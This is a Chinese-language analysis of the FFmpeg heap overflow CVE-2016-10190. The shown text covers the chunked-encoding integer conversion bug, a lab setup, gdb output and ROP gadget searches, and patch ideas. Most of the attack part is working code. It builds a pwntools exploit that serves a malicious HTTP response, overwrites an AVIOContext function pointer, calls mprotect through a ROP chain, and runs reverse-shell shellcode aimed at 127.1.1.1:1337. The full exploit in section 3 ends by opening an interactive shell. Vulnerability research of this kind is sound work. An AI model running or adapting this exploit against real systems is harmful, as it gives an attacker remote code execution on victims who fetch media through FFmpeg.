CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析

0x01 漏洞分析

简单来说,是因为变量在传递过程中的类型不一致,导致了传入的负数被转化为极大数,最终导致了堆溢出漏洞。

在溢出的buffer的高地址处,刚好有可利用的对象,其中的函数指针可以被覆盖。如此,就可以在后续调用这个函数指针的时候成功劫持程序的控制流。

1.1 正常情况下的程序功能

ffmpeg的-i选项可以从指定的输入流获取视频,并保存为AVI格式。下面是一个正常使用的例子。

ffmpeg -i 示例.png

1.2 HTTP分块编码

HTTP Header中的Content-Length字段用于告诉Client,响应实体的长度。Content-Length必须和实体实际长度一致,通常如果Content-Length比实际长度短,会造成内容被截断;如果比实体内容长,会造成pending。

但是在获取网络文件等情景下,实体长度不是那么容易获得。为了不依靠Header中的长度信息,也能让Client知道实体的边界,Transfer-Encoding就是为了解决这个问题的。最新的HTTP规范只定义了一种传输编码:分块编码(chunked)。编码使用若干个Chunk组成,由一个标明长度为0的chunk结束,每个Chunk有两部分组成,第一部分是该Chunk的长度,第二部分就是指定长度的内容,每个部分用CRLF隔开。

使用分块编码的response如下所示:

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n

1.3 chunksize漂流记

漏洞就发生在ffmpeg处理HTTP分块编码response的过程中。

上一小节中说到,每个Chunk的第一部分是该Chunk的长度,代码中使用chunksize表示。然后看一下chunksize在程序运行中经历的传递和类型转换。

size类型转换

可以发现当传给recv函数时,chunksize最终被转换成了size_t类型。

顺便关注一下64位架构中的几种整数类型。

类型 位数 范围
long long 64 bit -2^63 ~ 2^63 -1
int64_t 64 bit -2^63 ~ 2^63 -1
int 32 bit -2^31 ~ 2^31 - 1
size_t 64 bit 0 ~ 2^64 -1

由于size_t是无符号整数,那么传入一个负数-1将会被转换为2^64 - 1,这将远大于buffrer的最大长度0x8000。此时如果传递长度大于0x8000的内容,将形成溢出。

0x02 利用思路

2.1 搭建环境

  1. 安装pwntools等工具

    $ sudo apt-get update
    $ sudo apt-get upgrade -y
    $ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev
    build-essential
    $ sudo pip install --upgrade pip
    $ sudo pip install --upgrade pwntools
    $ sudo pip install --upgrade ropper
  2. 使用下面的命令搭建环境:

    安装依赖:

    sudo apt-get update
    sudo apt-get -y install autoconf automake build-essential libass-dev \
        libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \
        libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \
        texinfo wget zlib1g-dev yasm

    编译安装FFmpeg 3.2.1

    $ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
    $ tar xvfz n3.2.1.tar.gz
    $ mkdir ~/ffmpeg_build
    $ mkdir ~/ffmpeg_bin
    $ cd FFmpeg-n3.2.1/
    $ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
      --disable-stripping
    $ make -j4
    $ sudo make install

2.2 检查程序保护

可以看到PIE(ASLR)是关闭的,这样的话在利用过程中就会简单很多。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

2.3 劫持程序控制流

buffer刚好分配在一个AVIOContext对象的前面,并且AVIOContext对象中包含有函数指针readpacket。该对象的指针在avio_read函数中被使用,而avio_read函数将会在后续被调用——所以控制了read_packet就可以劫持程序控制流。

2.3.1 计算buffer和目标对象之间的距离

首先记录了AVIOContext对象的地址为0x1deebe0

AVIOContext地址

AVIOContext地址之readpacket

然后查看buff的地址为0x1de6b80

buf地址

相差了0x1deebe0 - 0x1de6b80 = 0x8060

2.3.2 验证填充

使用下面的代码引发crash,

#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

def main():
    # Start a listener and wait for a connection from ffmpeg

    while True:
        p = listen(12345)
        p.wait_for_connection()
        log.success("Victim found!")

        # Initialise the ffmpeg instance and prepare it for the bug
        p.send(headers)
        time.sleep(2)

        # Trigger the bug with the overly large read
        p.sendline("-1")
        log.info("Bug triggered. Please wait for five seconds...")
        time.sleep(2)   # The sleep allows for a clean transmission boundary

        payload  = "A" * 0x8060

        # Send the entire payload
        log.info("Payload sent!")
        p.send(payload)

        # Close the socket to terminate the read on the ffmpeg end to process the
        # overwrite
        p.close()


if __name__ == '__main__':
    main()

使用上面的代码进行溢出后,查看AVIOContext对象,可以看到readpacket字段已经被覆盖。

crash溢出后

gdb-peda$ p *(AVIOContext *)(0x1de6b80+0x8060)
$3 = {
  av_class = 0x4141414141414141, 
  buffer = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, 
  buffer_size = 0x41414141, 
  buf_ptr = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, 
  buf_end = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>, 
  opaque = 0x4141414141414141, 
  read_packet = 0x41414141414141, 
  write_packet = 0x5c4040 <io_write_packet>, 
  seek = 0x5c4030 <io_seek>, 
  pos = 0x0, 
  must_flush = 0x0, 
  eof_reached = 0x0, 
  write_flag = 0x0, 
  max_packet_size = 0x0, 
  checksum = 0x0, 
  checksum_ptr = 0x0, 
  ......
}

2.3.3 构造ROP劫持程序控制流

  1. 使用ropper工具寻找合适的gadgets
    pop rsi; ret为例:

    shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ ropper --file ffmpeg --search "pop rsi; ret"
    [INFO] Load gadgets from cache
    [LOAD] loading... 100%
    [LOAD] removing double gadgets... 100%
    [INFO] Searching for gadgets: pop rsi; ret
    
    [INFO] File: ffmpeg
    0x000000000003ca24: pop rsi; ret 0x15e8; 
    0x0000000000bd55b2: pop rsi; ret 0x17e8; 
    0x0000000000244cbb: pop rsi; ret 0x1ee8; 
    0x00000000008ff888: pop rsi; ret 0x280f; 
    ......
    0x0000000000008b2c: pop rsi; ret; 
  2. 放置好的gadgets如下面代码所示

    其中(1)~(5)标记了gadgets的执行顺序。

    
    #!/usr/bin/python
    
    
    from pwn import *
    import time
    import socket
    
    
    # HTTP Headers
    
    
    headers = """HTTP/1.1 200 OK
    Server: PwnServ/v1.0
    Date: Sun, 11 Mar 1994 13:37:00 GMT
    Content-Type: text/html
    Transfer-Encoding: chunked
    
    """
    
    
    # ROP Gadgets
    
    
    pop_rsp = 0x00000000004077e9     # pop rsp; ret;
    stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
    push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;
    
    
    def main():
        # Start a listener and wait for a connection from ffmpeg
        while True:
            p = listen(12345)
    
            # Wait for connection before sending payload
            log.info("Waiting for the victim...")
            p.wait_for_connection()
            log.success("Victim found!")
    
            # Initialise the ffmpeg instance and prepare it for the bug
            p.send(headers)
            time.sleep(2)
    
            # Trigger the bug with the overly large read
            p.sendline("-1")
            log.info("Bug triggered. Please wait for five seconds...")
            time.sleep(4)   # The sleep allows for a clean transmission boundary
    
            payload  = "A" * 0x8060     # Padding to start of AVIOContext struct
    
            # Setup the fake AVIOContext struct for the pivot into attacker controlled
            # memory
    
            payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem    (3)
            payload += ("A"*8) * 4      # [buffer, buffer_size, buf_ptr, buf_end]
            payload += p64(pop_rsp)     # [opaque] Value in RDI at (1).                 (2)
    
            payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control        (1)
    
            payload += ("X"*8) * 3      # [write_packet, seek, pos]
            payload += "AAAA"           # [must_flush]
            payload += p32(0)           # [eof_reached] Must be zero or read terminates
            payload += "A" * 8          # [write_flag, max_packet_size]
            payload += p64(stack_pivot) # [checksum] One more stack pivot               (4)
            payload += ("A"*8) * 11     # Padding to set up the stack for the main ROP
    
            # ROP chain starts here
            payload += p64(0xdeadbeef)  # ROP Chain                                     (5)
            payload += p64(0xcafebabe)
            payload += p64(0xba5eba11)
    
            # Send the entire payload
            log.info("Payload sent!")
            p.send(payload)
            time.sleep(2)
    
        # Close the socket to terminate the read on the ffmpeg end to process the
        # shellcode
        p.close()
    
    
    if __name__ == '__main__':
        main()
  3. 运行代码,在crash现场可以看到,程序的RIP已经被控制。

    ropchain控制rip

    劫持程序控制流之后,就是在内存中放置shellcode并执行。

2.4 改变堆内存属性

  1. 寻找合适的内存地址
    首先查看适合放置 shellcode的位置:

    gdb-peda$ vmmap
    Start              End                Perm  Name
    0x00400000         0x01446000         r-xp  /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg
    0x01645000         0x01646000         r--p  /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg
    0x01646000         0x0168d000         rw-p  /home/shadower/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg
    0x0168d000         0x01e05000         rw-p  [heap]
    0x00007ffff0355000 0x00007ffff037f000 r-xp  /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8
    ......
    0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
    0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
    0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

    选择可写的内存段0x01646000用来写入shellcode。

    接下来要将这个内存段的属性改写成可执行。

  2. 使用mprotect()改变内存属性

    mprotect原型

    
    #include <sys/mmap.h>  
    
    int mprotect(const void *start, size_t len, int prot); 

    mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

    prot可以理解为读写执行的标志位。各个位之间可以使用|进行连接。(权限标志位通常使用运算)

    
    #define PROT_READ     0x1     /* Page can be read.  */
    
    
    #define PROT_WRITE    0x2     /* Page can be written.  */
    
    
    #define PROT_EXEC     0x4     /* Page can be executed.  */
    

    在ffmpeg中寻找可用的memprotect()

    shadower@ubuntu:~/ffmpeg_sources/ffmpeg-3.2.1$ objdump -d ffmpeg | grep mprotect00000000004071f0 <mprotect@plt>:
      4749b3:   e8 38 28 f9 ff          callq  4071f0 <mprotect@plt>
      4749d3:   e8 18 28 f9 ff          callq  4071f0 <mprotect@plt>
  3. ROP chain思路

    上述的payload可以控制rip运行到deadbeef的部分。现在把deadbeef和后面的payload替换为真正可用的payload:

    1. 改写目标内存的属性
      mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
    2. 将shellcode拷贝到目标内存地址
    3. 跳转到shellcode
    
    # ROP Gadgets
    
    
    pop_rsp = 0x00000000004077e9     # pop rsp; ret;
    stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
    push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;
    
    mprotect_segment = 0x01646000
    mprotect_size = 0x500
    mprotect_prot = 0x1 | 0x2 | 0x4
    
    pop_rdi = 0x0000000000407c39
    pop_rsi = 0x0000000000408b2c
    pop_rdx = 0x0000000000408859
    
    write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;
    
    mprotect_plt = 0x4071f0
    
    
    def generate_mov(address_base, data):
        """Move data into memory startng at the given address_base with a write
        gadget."""
    
        def chunks(l, n):
            """Yield successive n-sized chunks from l."""
            for i in range(0, len(l), n):
                yield l[i:i + n]
    
        ropchain = ""
        for counter, i in enumerate(chunks(data, 8)):
            ropchain += p64(pop_rsi)       # Pop the target address into RSI
            ropchain += p64(address_base + (counter * 8)) # Calculate the target
            ropchain += p64(pop_rdx)       # Pop the 8 bytes of data into RDX
            ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
            ropchain += p64(write_gadget)  # Trigger the write
    
        return ropchain
    
    
    def main():
        ......
        # The main ROP chain
        # This will do the following things:
        #  1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
        #  2. copy shellcode into shellcode_segment
        #  3. jump to shellcode
    
        # Setup mprotect ROP chain
        payload += p64(pop_rdi)          # Pop the first argument into RDI
        payload += p64(mprotect_segment)
        payload += p64(pop_rsi)          # Pop the second argument into RSI
        payload += p64(mprotect_size)
        payload += p64(pop_rdx)          # Pop the third argument into RDX
        payload += p64(mprotect_prot)
        payload += p64(mprotect_plt)     # Run the mprotect function
    
        # Write the shellcode into our newly mprotected segment
        payload += generate_mov(mprotect_segment, shellcode)
    
        # Jump to shellcode
        payload += p64(mprotect_segment)
        ......
    
    if __name__ == '__main__':
        main()

2.5 选择shellcode

  1. 选用下面的shellcode生成反向shell

    
    #include <stdio.h>
    
    
    
    #define IPADDR "\x7f\x01\x01\x01" /* 127.1.1.1 */
    
    
    #define PORT "\x05\x39" /* 1337 */
    
    
    unsigned char code[] = \
    "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
    "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
    "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
    "\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
    "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
    "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
    "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
    "\x5f\x6a\x3b\x58\x0f\x05";
    
    int
    main(void)
    {
        printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
        int (*ret)() = (int(*)())code;
        ret();
        return 0;
    }
  2. 改写成Python版本

    
    # Reverse Shell TCP Shellcode adapted from Russell Willis
    
    
    ip_addr = "127.1.1.1"
    ip_addr_packed = socket.inet_aton(ip_addr)
    port = 1337
    port_packed = p16(port, endian="big")
    shellcode = (
            "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
            "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
            "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
            "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
            "\x48\x89\xe6\x6a\x10" +
            "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
            "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
            "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
            "\x5f\x6a\x3b\x58\x0f\x05")

0x03 完整Exploit及验证

3.1 最终版Exploit

```py
#!/usr/bin/python

from pwn import *
import time
import socket

# HTTP Headers

headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""

# Reverse Shell TCP Shellcode adapted from Russell Willis

ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
        "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
        "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
        "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
        "\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
        "\x48\x89\xe6\x6a\x10" +
        "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
        "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
        "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
        "\x5f\x6a\x3b\x58\x0f\x05")

# ROP Gadgets

pop_rsp = 0x00000000004077e9     # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fd75 # push rbx; jmp rdi;

mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4

pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859

write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;

mprotect_plt = 0x4071f0


def generate_mov(address_base, data):
    """Move data into memory startng at the given address_base with a write
    gadget."""

    def chunks(l, n):
        """Yield successive n-sized chunks from l."""
        for i in range(0, len(l), n):
            yield l[i:i + n]

    ropchain = ""
    for counter, i in enumerate(chunks(data, 8)):
        ropchain += p64(pop_rsi)       # Pop the target address into RSI
        ropchain += p64(address_base + (counter * 8)) # Calculate the target
        ropchain += p64(pop_rdx)       # Pop the 8 bytes of data into RDX
        ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
        ropchain += p64(write_gadget)  # Trigger the write

    return ropchain


def main():
    # Start a listener and wait for a connection from ffmpeg
    p = listen(12345)

    # Start a second listener for the reverse shell
    rev = listen(port)

    # Wait for connection before sending payload
    log.info("Waiting for the victim...")
    p.wait_for_connection()
    log.success("Victim found!")

    # Initialise the ffmpeg instance and prepare it for the bug
    p.send(headers)
    time.sleep(2)

    # Trigger the bug with the overly large read
    p.sendline("-1")
    log.info("Bug triggered. Please wait for two seconds...")
    time.sleep(2)   # The sleep allows for a clean transmission boundary

    payload  = "A" * 0x8060     # Padding to start of AVIOContext struct

    # Setup the fake AVIOContext struct for the pivot into attacker controlled
    # memory

    payload += p64(stack_pivot) # [av_class] Pivot stack into controlled m. (3)
    payload += ("A"*8) * 4      # [buffer, buffer_size, buf_ptr, buf_end]
    payload += p64(pop_rsp)     # [opaque] Value in RDI at (1). (2)

    payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)

    payload += ("X"*8) * 3      # [write_packet, seek, pos]
    payload += "AAAA"           # [must_flush]
    payload += p32(0)           # [eof_reached] Must be zero or read terminates
    payload += "A" * 8          # [write_flag, max_packet_size]
    payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
    payload += ("A"*8) * 11     # Padding to set up the stack for the main ROP

    # The main ROP chain
    # This will do the following things:
    #  1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
    #  2. copy shellcode into shellcode_segment
    #  3. jump to shellcode

    # Setup mprotect ROP chain
    payload += p64(pop_rdi)          # Pop the first argument into RDI
    payload += p64(mprotect_segment)
    payload += p64(pop_rsi)          # Pop the second argument into RSI
    payload += p64(mprotect_size)
    payload += p64(pop_rdx)          # Pop the third argument into RDX
    payload += p64(mprotect_prot)
    payload += p64(mprotect_plt)     # Run the mprotect function

    # Write the shellcode into our newly mprotected segment
    payload += generate_mov(mprotect_segment, shellcode)

    # Jump to shellcode
    payload += p64(mprotect_segment)

    # Send the entire payload
    log.info("Payload sent!")
    p.send(payload)

    # Close the socket to terminate the read on the ffmpeg end to process the
    # shellcode
    p.close()

    # Wait for reverse shell
    log.info("Please wait for your reverse shell.")
    rev.wait_for_connection()
    log.success("Success! Enjoy your shell!")
    rev.interactive()


if __name__ == '__main__':
    main()
```

0x04 验证

完整利用

0x05 Patch思路

5.1 针对此漏洞点的Patch思路

检查chunksize的值,如果为负数就中止程序。

if (s->chunksize >= 0) {
    if (!s->chunksize) {
        char line[32];

            do {
                if ((err = http_get_line(s, line, sizeof(line))) < 0)
                    return err;
            } while (!*line);    /* skip CR LF from last chunk */

            s->chunksize = strtoll(line, NULL, 16);


            if (!s->chunksize)
                return 0;
    }

    if (s->chunksize > 0) {
            size = FFMIN(size, s->chunksize);
    }
}

5.2 官方的Patch思路

官方commit 2a05c8f813de6f2278827734bf8102291e7484aa将所有的长度和偏移变量类型,都修改成了无符号类型,从而避免类型混淆的问题。

0x06 参考

  1. TSRC bird:CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析及利用
  2. 栈长@蚂蚁金服巴斯光年安全实验室:CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
  3. Nandy Narwhals CTF Team:CVE-2016-10190 Detailed Writeup
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章